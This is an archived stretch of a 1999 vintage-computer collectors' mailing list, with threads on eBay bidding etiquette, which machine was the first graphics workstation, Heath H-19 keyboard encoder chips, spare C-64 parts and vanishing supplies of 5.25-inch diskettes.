Sorry you are bent out of shape about it. Also just in case you > are not aware, personal contacts are something that take time, trust, and > common interests to develop. Stealthy bidding and bargain finding also takes time and patience, so I'll agree to leave your contact list alone if you agree to stop advertsing online auctions that I *may* be bidding in. > > You expressed concern when you found that somebody was willing to pay a > > higher price than a closing bid. Did you have that same concern when you > > paid a few dollars for an Altair or an IBM 5100? > > You need to remind me of when and what that concern was all about as nothing > comes to mind. Marvin said: << I have also seen a number of instances where a given listmember was not willing to bid at the prices the items were going for, and perhaps another listmember would have been willing to bid higher. Cases like that are changing my mind as to letting listmembers know when I find something *I* think is interesting. >> > Re: the Altairs, I got them back when people were tossing them to clear > out the garage; a totally different situation. AFAICT, it's a different situation because *you* took possession of the Altairs. But if you saw an Altair going for a couple of bucks on ebay in which you weren't a bidder, I suspect you would try to "fix" that situation. -- Doug From marvin at rain.org Wed Jan 20 16:46:30 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:21 2005 Subject: C-64 Stuff References: <199901202016.MAA09256@oa.ptloma.edu> Message-ID: <36A65CC6.561AB5C2@rain.org> Cameron Kaiser wrote: > > ::Right now, I have 3 non-working C-64s plus some parts with a few more (I > ::think at least two more) to be added. I hate throwing stuff like this out, > ::but when stuff starts encroaching on the kitchen table for more than a few > ::hours, my wife starts to object :)! Anyone who wants this stuff is welcome > ::to it for the cost of shipping. > > Do you have a MOS 8564 in that mess of chips? That's the VIC-II in the 128 > series. No, these are all C-64s although I do have some Vic-20s in the same shape I haven't gotten to yet. I've noted the chip, and if I see one, I'll let you know. From marvin at rain.org Wed Jan 20 16:48:43 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:21 2005 Subject: C-64 Stuff References: <000f01be44b2$ec503720$01646464@codewarrior.fmstrategies.com> Message-ID: <36A65D4B.AC1971F@rain.org> Todd Osborne wrote: > > I would LOVE to pay shipping for your stuff. I need some parts badly :) > Still have it? In case I didn't say it clearly, the parts are parts of other C-64s that had been disassembled. We can take it to email from here if you still want them. From jrkeys at concentric.net Wed Jan 20 16:47:00 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:21 2005 Subject: Help with article Message-ID: <001801be44c6$ca5da260$54afadce@5x86jk> A few days ago someone posted a message about the February issue of a magazine having an article about collecting and talked about one of the guys on this list. Anyone remember the mag's name ? Thanks John From dastar at ncal.verio.com Wed Jan 20 16:52:58 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <4.1.19990120143043.00af6720@mailhost.hq.freegate.com> Message-ID: On Wed, 20 Jan 1999, Chuck McManis wrote: > their teeth" on Sun machines who will be flush with cash, it would not > suprise me in the least if you could get $10,000 for it in 5 to 7 years. > (Others might tell you that selling it for more than $50 + postage is a > crime against nature but don't listen to 'em) Ack! Don't say that! Listen to the reasonable people: $50 + postage is more than fair :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From Marty at itgonline.com Wed Jan 20 17:06:18 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay Message-ID: <1999Jan20.180513.1767.183285@smtp.itgonline.com> ______________________________ Reply Separator _________________________________ Subject: Re: RANT Re: PDP-8 on e-bay Author: classiccmp@u.washington.edu at internet Date: 1/20/99 5:55 PM On Wed, 20 Jan 1999, Chuck McManis wrote: > their teeth" on Sun machines who will be flush with cash, it would not > suprise me in the least if you could get $10,000 for it in 5 to 7 years. > (Others might tell you that selling it for more than $50 + postage is a > crime against nature but don't listen to 'em) Ack! Don't say that! >>Listen to the reasonable people: $50 + postage is more than fair :) As usual, Sam is the voice of reason. PLEASE listen to Sam and sell me one of these. Marty Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] ------ Message Header Follows ------ Received: from lists3.u.washington.edu by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan20.175526.1767.94090; Wed, 20 Jan 1999 17:55:27 -0500 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA09870; Wed, 20 Jan 1999 14:53:05 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA2 8474 for ; Wed, 20 Jan 1999 14:53:00 -0800 Received: from smtp1.ncal.verio.com (smtp1.ncal.verio.com [204.247.247.82]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA01 861 for ; Wed, 20 Jan 1999 14:52:59 -0800 (PST) Received: from shell1-n1 (dastar@shell1.ncal.verio.com [204.247.248.254]) by smtp1.ncal.verio.com (8.8.7/8.8.7) with ESMTP id OAA27340 for ; Wed, 20 Jan 1999 14:52:59 -0800 (PST) Message-Id: Date: Wed, 20 Jan 1999 14:52:58 -0800 (PST) Reply-To: classiccmp@u.washington.edu Sender: CLASSICCMP-owner@u.washington.edu Precedence: bulk From: Sam Ismail To: "Discussion re-collecting of classic computers" Subject: Re: RANT Re: PDP-8 on e-bay In-Reply-To: <4.1.19990120143043.00af6720@mailhost.hq.freegate.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Discussion re-collecting of classic computers X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From rhblake at bigfoot.com Wed Jan 20 17:03:38 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay References: <01BE4493.274BE880.steverob@hotoffice.com> <36A657DE.5B887E8C@rain.org> Message-ID: <36A660C9.17B48241@bigfoot.com> A very tame one indeed, as opposed to last year' "you sold me the wrong Tandy, you bad man from across the pond". I didn't think that one would ever quit. Marvin wrote:I've > been in and seen enough flame wars to know this too shall pass (although > this would be considered a very *tame* flamewar!) In spite of Doug being > rather vocal, he is an okay guy and entitled to his opinions ... as are we! From nfields at ix.netcom.com Wed Jan 20 17:08:34 1999 From: nfields at ix.netcom.com (Noel Fields) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay References: <01BE4493.274BE880.steverob@hotoffice.com> Message-ID: <36A661F2.25A5055F@ix.netcom.com> I haven't written to this list yet, but I felt I should here. I personally have benefited a great deal from listening to the talk on here about older computers that I didn't realize existed. The fact that someone takes the time, to post obscure e-bay postings, to me, was a great benefit, due to the fact, that a few of them I had NEVER heard of, and was able to go look at the ad, and increase my knowledge of older computers. I know there are a lot of people on this list, that feel e-bay is satanic. I say you take what you want from any service. In my case I have purchased antique computers from e-bay, and I have used it purely to go "cool picture" of an older computer. I just wanted to add that, and to also say, I really don't understand why people were getting so upset over an occasional post about an e-bay bid. Just watch for e-bay as the subject matter, and delete it. I do that with many of the posts that I don't have any interest in. My two cents (and maybe more change) :) Noel Steve Robertson wrote: > OK.. I guess I'll have to appologize for starting this flame war. > From dastar at ncal.verio.com Wed Jan 20 17:19:46 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <1999Jan20.180513.1767.183285@smtp.itgonline.com> Message-ID: On Wed, 20 Jan 1999, Marty wrote: > As usual, Sam is the voice of reason. PLEASE listen to Sam and sell me > one of these. Wow. I get accused of a lot but rarely ever of being the voice of reason :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From bill at chipware.com Wed Jan 20 17:28:16 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:21 2005 Subject: Help with article In-Reply-To: <001801be44c6$ca5da260$54afadce@5x86jk> Message-ID: <000101be44cc$8e350890$bb88e9cf@yamato.chipware.com> > A few days ago someone posted a message about the February issue of a > magazine having an article about collecting and talked about one > of the guys > on this list. Anyone remember the mag's name ? Thanks John Dr. Dobbs Bill Sudbrink From pechter at monmouth.com Wed Jan 20 17:26:33 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:21 2005 Subject: Kaypros and Osbornes In-Reply-To: <199901202012.PAA17465@armigeron.com> from Sean 'Captain Napalm' Conner at "Jan 20, 99 03:12:51 pm" Message-ID: <199901202326.SAA06041@pechter.nws.net> > It was thus said that the Great John Foust once stated: > > > > At 10:27 PM 1/19/99 -0500, Bill Pechter wrote: > > >> I wonder if that's the Gemini that is/was here in Orlando? They were > > >> doing lots of that kind of stuff in the mid '80s. > > > > > >I think Ft. Lauderdale... > > > > ModComp has an office in Lauderdale, too, no? > > It's on Cypress Creek Road (or 62nd, or McNab, depending upon how far west > it is) as I used to pass it on the way to work (when our office was down > there). It's either Pompano or Ft. Lauderdale I don't recall, since the > city borders are jumbled down here (let's see, driving to work I pass > through Coconut Creek, Pompano, Deerfield Beach and finally Boca Raton). > > -spc (Harris is just down the street from ModComp FYI ... ) Interesting, since Interdata -> Perkin-Elmer -> Concurrent was absorbed by Harris's computer operations. Harris was at one time a Masscomp OEM. Modcomp was a Concurrent competitor. Concurrent absorbed Masscomp. Harris absorbed Concurrent. Life goes on... The only computer company I worked for still really in existance in kind of it's original form is IBM. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From lemay at cs.umn.edu Wed Jan 20 17:28:52 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <4.1.19990120143043.00af6720@mailhost.hq.freegate.com> from Chuck McManis at "Jan 20, 1999 02:36:39 pm" Message-ID: <199901202328.RAA27354@thorin.cs.umn.edu> > >Hmm.. Now maybe someone will finally offer me some serious cash for a > >Sun 1/100U ... Only about 700 were ever made, before Sun Microsystems > >started making the Sun 2 series... > > Easily as much as an Altair of today in 5 years or so. In spite of their > being second (I know I worked their nearly 10 years) they are "perceived" > as being the inventor of the workstation. (Apollo had that distinction) > They certainly made more money of UNIX systems than any other company in > history. Given their current influence in the sphere of the Internet and > the impact of the Internet on society and the number of engineers who "cut > their teeth" on Sun machines who will be flush with cash, it would not > suprise me in the least if you could get $10,000 for it in 5 to 7 years. > (Others might tell you that selling it for more than $50 + postage is a > crime against nature but don't listen to 'em) > Hmm, looks like now I need to buy some sort of cloth covering for these, since they're become too valuable. My Teraks arent suddenly worth gold too, are they? (even though they were very historically significant). -Lawrence LeMay From Marty at itgonline.com Wed Jan 20 17:40:13 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:21 2005 Subject: MITS Sherwood Medical S-Twelve Message-ID: <1999Jan20.183955.1767.183302@smtp.itgonline.com> I don't remember if I asked for information on this computer before. I'm looking for any documentation or history of this Sherwood Medical computer. 'A Brunswick Company' is proudly proclaimed on the front panel adjacent to where it reads Sherwood Medical S-Twelve (which oem'd this MITS Altair for blood gas analysis). The Sherwood S-Twelve has eighteen slots, a heavy duty power supply and the following boards, all made but MITS: 8800 CPU BD REV 0 4K STATIC BOARD REV-2 X4 88-2 SIO REV 0 8K PROM BD REV 0- X2 INVERTER BD 88-IS SH REV 1 88 (SIOB) SERIAL TTL REV 1 MITS MODEM BD 88-MUX REV 1 MITS A/D CONVERTER REV 0 If you have any information about MITS 8800s sold to industry as in this case, please let me know. Thanks, Marty marty@itgonline From doug at blinkenlights.com Wed Jan 20 17:38:29 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <199901202328.RAA27354@thorin.cs.umn.edu> Message-ID: On Wed, 20 Jan 1999, Lawrence LeMay wrote: > Hmm, looks like now I need to buy some sort of cloth covering for these, > since they're become too valuable. My Teraks arent suddenly worth gold > too, are they? (even though they were very historically significant). Neither Suns nor Teraks are worth much because they never penetrated the personal space the way many micros did. However, since Chuck said that Apollo produced the first workstations and Sun produced the second batch, I'm really curious to find where he positions the Terak, PERQ, Star, Alto, etc. -- Doug From dogas at leading.net Wed Jan 20 17:39:28 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay Message-ID: <01be44ce$1ee92460$f6c962cf@devlaptop> From: Marvin >The reasons for collecting have been already discussed on this list a number >of times, but it is worthwhile trying to remember that for most of us, this >is a HOBBY done because we enjoy it. I don't know how you infered from my rant that this isn't a hobby of mine that I enjoy. I do enjoy this and have for several years *and* don't make money in this way (I do dispose of quite a bit of it though) although my intent is not to disparage the speculators out there. For some, ebay opens access to machines not otherwise available. I dont think Jacksonville Florida and *many* other locals know what a swap meet is nor do we have the likes of some of those bay area thrifts to so offhandedly dismiss ebay. And for collectors newer to the hobby ebay does provide a way to quickly backfill missing euipment. Don't get me wrong. The brainshare of this group is invaluable, there is no other resource like it. I wans't trying to flame someone into submission, just expressing my opinion. I guess if I already had an Altair or an 8, I'd probably be a little more altruistic. Naaa ;) Wheezer Mike: dogas@leading.net From cmcmanis at freegate.com Wed Jan 20 18:50:15 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: References: <199901202328.RAA27354@thorin.cs.umn.edu> Message-ID: <4.1.19990120162314.00a689e0@mailhost.hq.freegate.com> At 06:38 PM 1/20/99 -0500, Doug wrote: >Neither Suns nor Teraks are worth much because they never penetrated the >personal space the way many micros did. And the PDP-8 penetrated the personal space? How about the KL-10? The point I'm trying to make is that while much collecting is driven by nostalgia for the computers we could have owned when we were younger, many of us forgo trying to own the computer we learned to program on if it was a mainframe. However the people who came after me had Sun workstations at college (at least at my alma mater USC where the Sun's were replacing the KL as I was leaving). Anyway, those people will be reaching their earning/disposable income zeniths in about 5 years. That will spike the value of older Sun machines. > However, since Chuck said that >Apollo produced the first workstations and Sun produced the second batch, >I'm really curious to find where he positions the Terak, PERQ, Star, Alto, >etc. I'm not familar with the Terak and PERQ but I am intimately familiar with the Star and the Alto. My wife was the Network Services Architect for Xeroxes Office Systems Business Unit during the Star's heyday. The fact was that the Star was sold as a dedicated word processor. A visual typewriter if you will on the same price sheet as the memory writers I believe. Now tahoe (later named the Xerox Development Environment (XDE)) ran on Dandelions (aka the 8010 series) but it wasn't sold to third parties. Later during the Daybreak years Mesa (waayy cool language BTW) was ported to Suns and Intel architectures. I don't believe the Alto ever escaped PARC as more than a research tool for some folks. The "PERQ page" asserts the claim to first graphics workstation, I'm sure Tony has some feelings about this. In the US at least Apollo was always claiming to have "invented" the graphics workstation (defined as a general purpose computer whose "console" consisted of a bitmapped display.) At about the same time CMU defined something called a "3M" machine which was 1 million pixels, 1 million instructions/sec, and 1 million words (bytes) of memory. --Chuck From doug at blinkenlights.com Wed Jan 20 19:07:54 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <4.1.19990120162314.00a689e0@mailhost.hq.freegate.com> Message-ID: On Wed, 20 Jan 1999, Chuck McManis wrote: > I'm not familar with the Terak and PERQ but I am intimately familiar with > the Star and the Alto. My wife was the Network Services Architect for > Xeroxes Office Systems Business Unit during the Star's heyday. The fact was > that the Star was sold as a dedicated word processor. A visual typewriter > if you will on the same price sheet as the memory writers I believe. Now Yes, Xerox is famous for mismarketing, but are you saying that a mouse-driven bitmapped networked 8010 isn't a workstation because of where it was on a price sheet? > tahoe (later named the Xerox Development Environment (XDE)) ran on > Dandelions (aka the 8010 series) but it wasn't sold to third parties. > Later during the Daybreak years Mesa (waayy cool language BTW) was > ported to Suns and Intel architectures. I don't believe the Alto ever > escaped PARC as more than a research tool for some folks. I forget the number: either 1000 or 2000 Altos were made and "seeded" various universities. Probably made a bigger dent than the Sun 1, and much earlier. > The "PERQ page" asserts the claim to first graphics workstation, I'm sure Probably true if you ignore the Alto. And the Terak was a PDP-11/03 with a bitmapped display around 1979/1980 IIRC. They were quite popular at UCSD and UCI, at least. -- Doug From cmcmanis at freegate.com Wed Jan 20 19:36:57 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:21 2005 Subject: Classic Workstations (was Re: RANT Re: PDP-8 on e-bay) In-Reply-To: References: <4.1.19990120162314.00a689e0@mailhost.hq.freegate.com> Message-ID: <4.1.19990120173055.00aff5a0@mailhost.hq.freegate.com> At 08:07 PM 1/20/99 -0500, Doug wrote: >Yes, Xerox is famous for mismarketing, but are you saying that a >mouse-driven bitmapped networked 8010 isn't a workstation because of where >it was on a price sheet? No, I'm saying that the mouse-driven bitmapped networked 8010 wasn't a workstation because it was never sold, or converted as such. Just for reference, when I use the term "Workstation" my definition is as follows: Megapixel+ bitmapped display is primary interface device. General purpose OS. Software development is hosted on the machine. 1+ Megabytes of RAM 1+ MIPs execution speed. This is not the definition that is applied today (it tends to track Sun, HP, and IBM's offerings as the definition) >I forget the number: either 1000 or 2000 Altos were made and "seeded" >various universities. Probably made a bigger dent than the Sun 1, and >much earlier. We differ in our analysis of the "dent." >Probably true if you ignore the Alto. And the Terak was a PDP-11/03 with >a bitmapped display around 1979/1980 IIRC. They were quite popular at >UCSD and UCI, at least. Apollo came out with their box in 1980 as well I believe. --Chuck From ard at p850ug1.demon.co.uk Wed Jan 20 19:10:08 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <4.1.19990120143043.00af6720@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 20, 99 02:36:39 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1540 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/375b661e/attachment.ksh From Watzman at ibm.net Tue Jan 19 20:00:23 1999 From: Watzman at ibm.net (Barry A. Watzman) Date: Sun Feb 27 18:40:21 2005 Subject: Z-120 help needed Message-ID: <01BE44B5.BE464C40@slip-32-100-187-79.oh.us.ibm.net> I can help the guy with the Zenith Z-120. Have him contact me, Watzman@ibm.net Barry Watzman From Watzman at ibm.net Tue Jan 19 20:10:29 1999 From: Watzman at ibm.net (Barry A. Watzman) Date: Sun Feb 27 18:40:21 2005 Subject: Heath H/Z 19 terminals Message-ID: <01BE44B5.C159A6C0@slip-32-100-187-79.oh.us.ibm.net> The keyboard encoder in the Heath H-19 terminals (also the Zenith Z-19) was a National Semiconductor part. It was discontinued in late 1981 or 82, while the terminal was still in production. Heath bought tens of thousands of them in a "last time buy" both for ongoing production and for future service. I don't know the current availability of this item from Heath (Heath does still exist, and does sell SOME parts), but it hasn't been available from National for a decade and a half. It WAS a generic part at the time. Note that every H/Z - 89/90 has an imbedded H/Z-19 terminal and therefore uses this part. I'm not sure of this, but I think that the ROM was required because the encoder only generated a "key number" and not ASCII, and it wasn't easily possible to arrange the keys for the key number to correspond to the ASCII value (Carl Goy was the designer, and he's still around out in California somewhere, he worked for Mouse Systems and Headland Technology after leaving Heath). I know all of this because for 5 years I was the Product Line Director for the entire Heath/Zenith computer line. Barry Watzman From allisonp at world.std.com Wed Jan 20 19:43:25 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:21 2005 Subject: IMSAI/586 [ Re: Multiuser computing invented! ] Message-ID: <199901210143.AA18518@world.std.com> Message-ID: <001501be44df$70a04520$7bf438cb@a.davie> > I'm confused. Do you mean RL01 and RL02? If not, what on earth No, I'M confused. RL01 and RL02 it is. D'oh. > I'm really hoping you're jokeing about the nail. I'd recommend having the Yeah of course I was joking. A thick safety pin should be all it needs. I'm not daft. As it turns out, my next door neighbour (who helped me pick up this thing) used to service them all the time. And he's itching to do some work on this one. So, everything will be done properly... he wants to clean it and disassemble it before powering up; I think I'll let him have at it. On a side note, he told me he used to have boxes and boxes of DEC microfiche - sent to DEC personell only, containing all sorts of troubleshooting, bug fixes, circuit info, etc etc. He said they were really really good documentation on the DEC machines. Of course, probably thrown out - but he may have some lying around at his Mom's place. That will be interesting :) I do have a couple of old magnetic tapes picked up the same time. Mostly junk, I'd guess - but one has a VAX/VMS C compiler label, if anyone is interested in that. Cheers A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html From doug at blinkenlights.com Wed Jan 20 19:51:52 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:21 2005 Subject: IMSAI/586 [ Re: Multiuser computing invented! ] In-Reply-To: <199901210143.AA18518@world.std.com> Message-ID: On Wed, 20 Jan 1999, Allison J Parent wrote: > Well, the imsai front pannel would have little relevance to the activities > of the CPU due to internal cache and prefetch. Rumor has it that you can disable cache and prefetch by using the secret ICE mode. Maybe BillG could commission an ICE maker to build a cool front panel for his PC. -- Doug From ard at p850ug1.demon.co.uk Wed Jan 20 19:47:24 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:21 2005 Subject: RANT Re: PDP-8 on e-bay In-Reply-To: <4.1.19990120162314.00a689e0@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 20, 99 04:50:15 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2554 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/256db433/attachment.ksh From jhfine at idirect.com Wed Jan 20 19:54:26 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:21 2005 Subject: picked up PDP11/23 References: <001501be44df$70a04520$7bf438cb@a.davie> Message-ID: <36A688D1.4E9BECE3@idirect.com> >Andrew Davie wrote: > > I'm confused. Do you mean RL01 and RL02? If not, what on earth > > No, I'M confused. RL01 and RL02 it is. D'oh. Jerome Fine replies: I have a few RL02 packs I will be discarding by the end of the year (hopefully - I really do want to clean up). Can you use a few? Local pickup ONLY in Toronto since I don't have any boxes to ship them in. Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From ard at p850ug1.demon.co.uk Wed Jan 20 19:55:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:21 2005 Subject: Heath H/Z 19 terminals In-Reply-To: <01BE44B5.C159A6C0@slip-32-100-187-79.oh.us.ibm.net> from "Barry A. Watzman" at Jan 19, 99 09:10:29 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1058 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990121/cba7d96e/attachment.ksh From rcini at msn.com Wed Jan 20 20:15:18 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:40:21 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes Message-ID: <00d501be44e4$08079720$e0e5fea9@mainoffice> Hello, all: I tried ordering the bulk 5-1/4" disks yesterday. Gone for good...none left...sorry...bye bye...look elsewhere. Better start stockpiling 360k diskettes... [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From jrice at texoma.net Wed Jan 20 20:27:06 1999 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 18:40:21 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes References: <00d501be44e4$08079720$e0e5fea9@mainoffice> Message-ID: <36A6907A.DE77630C@texoma.net> I have been stocking up for the past three years. I have about 10k stored. Also 720k disks are not as easy to find anymore, so I've been gather a supply of those also. For my NeXT I scored a few boxes of 2.88's recently. James "Richard A. Cini, Jr." wrote: > > Hello, all: > > I tried ordering the bulk 5-1/4" disks yesterday. Gone for good...none > left...sorry...bye bye...look elsewhere. > > Better start stockpiling 360k diskettes... > > [ Rich Cini/WUGNET > [ ClubWin!/CW7 > [ MCP Windows 95/Windows Networking > [ Collector of "classic" computers > [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ > [ http://highgate.comm.sfu.ca/~rcini/pdp11/ > <================ reply separator =================> From adavie at mad.scientist.com Wed Jan 20 20:49:32 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:21 2005 Subject: Ebay notices, was re: PDP-8 on e-bay In-Reply-To: <01BE4493.274BE880.steverob@hotoffice.com> Message-ID: <000401be44e8$ac304aa0$2cf438cb@a.davie> > Thirdly, there have been a number of times that I have intentionally > skipped a bid when I knew that a member of this group was bidding on an > item. IE: The "Ohio Scientific" thingy that Andrew Davies was > looking at a > couple of weeks ago. Sure I'd like to have it but, I wouldn't bid against > someone that REALLY appreciates it. Thanks Steve. I operate on the principle, though, that I never mind if people I am associated with bid against me (and win!) - and in turn I am never shy to bid for something I like/need. I have little money, so resort to sneaky tactics to win things on eBay :) A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html From Jgzabol at aol.com Wed Jan 20 21:04:38 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:21 2005 Subject: Looking for pointers to old Control Data software Message-ID: <3253c4f6.36a69946@aol.com> Dear Gary: This is marvellous! I used to work quite a bit on a 3600 in 1968, and it is good to hear that there is some form of revitalization for that machine. Unfortunately I have not retained any software from that time, so that I cannot help you there. However, I would be very interested in hearing any information about the simulator you wrote. Is there / will there be a report on that project somewhere ? Could you send any description ? How do you simulate the console ? What do you do in hardware / in software ?? Interested in swapping ? I wrote a simulator for a Siemens S 2002, and I have a copy of the Algol compiler that went with that machine (no operating systems at that time, ca. 1960). The S2002 was a binary-coded-decimal 12 digit machine, the one I worked on had 10 K words of core and 10 K words of drum, and all of that is in the simulator. I have compiled and executed Algol programs on it - the simulation on a PC runs of course faster than the original hardware at that time; do you have some timing estimates for your simulator ? Very best regards John G. Zabolitzky From sinasohn at ricochet.net Wed Jan 20 21:14:24 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:21 2005 Subject: Disasters and Recovery Message-ID: <3.0.16.19990120161343.6447776c@ricochet.net> At 12:34 AM 1/18/99 +0000, you wrote: >What harm is gravity going to do, unless the machine falls off a shelf or >something? I read once that all solids are actually just very slow moving liquids. Apparently the floor of Ft. Knox (where a lot of gold is supposedly stored) has a tiny but significant amount of gold in it that has seeped in from the bars sitting on it. I would think that 100 years could be long enough for the drive platters to warp slightly (but enough!) or whatever else. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From ddameron at earthlink.net Wed Jan 20 19:07:14 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:22 2005 Subject: Heath H/Z 19 terminals In-Reply-To: <01BE44B5.C159A6C0@slip-32-100-187-79.oh.us.ibm.net> Message-ID: <3.0.6.16.19990120190714.282f445a@earthlink.net> At 09:10 PM 1/19/99 -0500, you wrote: >The keyboard encoder in the Heath H-19 terminals (also the Zenith Z-19) was a National Semiconductor part. It was discontinued in late 1981 or 82, while the terminal was still in production. Heath bought tens of thousands of them in a "last time buy" both for ongoing production and for future service. I don't know the current availability of this item from Heath (Heath does still exist, and does sell SOME parts), but it hasn't been available from National for a decade and a half. It WAS a generic part at the time. Note that every H/Z - 89/90 has an imbedded H/Z-19 terminal and therefore uses this part. > >I know all of this because for 5 years I was the Product Line Director for the entire Heath/Zenith computer line. > >Barry Watzman > Thanks for this info. I looked in my H19 and the encoder chip is a National MM5740AAC/N. Probably the generic part I tried was another coding than AAC, why it didn't work. _Now_ I know that the "AAC" refers to a specific coding. The associated ROM is a plastic part with only Heath's number on it. -Dave From ddameron at earthlink.net Wed Jan 20 19:07:37 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:22 2005 Subject: Ink stamp on 1970s IC's. Message-ID: <3.0.6.16.19990120190737.282ff5dc@earthlink.net> Hi all, I have seen several plastic DIP IC's from the 1970's have a white ink stamp on them that say something like "ETC 4" on them. (Your number may vary) Most are Intel RAM's, but some are Signetics or National TTL. Before I have seen them on chips on boards, but have now bought a bunch of IC's new in tubes which also have this stamp. Has anyone else seen this and know what it means? -Dave From healyzh at aracnet.com Wed Jan 20 21:42:55 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:22 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes In-Reply-To: <36A6907A.DE77630C@texoma.net> References: <00d501be44e4$08079720$e0e5fea9@mainoffice> Message-ID: >I have been stocking up for the past three years. I have about 10k >stored. Also 720k disks are not as easy to find anymore, so I've been >gather a supply of those also. For my NeXT I scored a few boxes of >2.88's recently. As I understand it the Amiga software industry is in a bit of a crisis at the moment because 3.5" DD floppies are no longer being made. Well, they're also in a bit of a crisis thanks to the idiots running Amiga, Inc. killing the market last spring when it will be quite a while before the new Amiga is ready to ship. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | 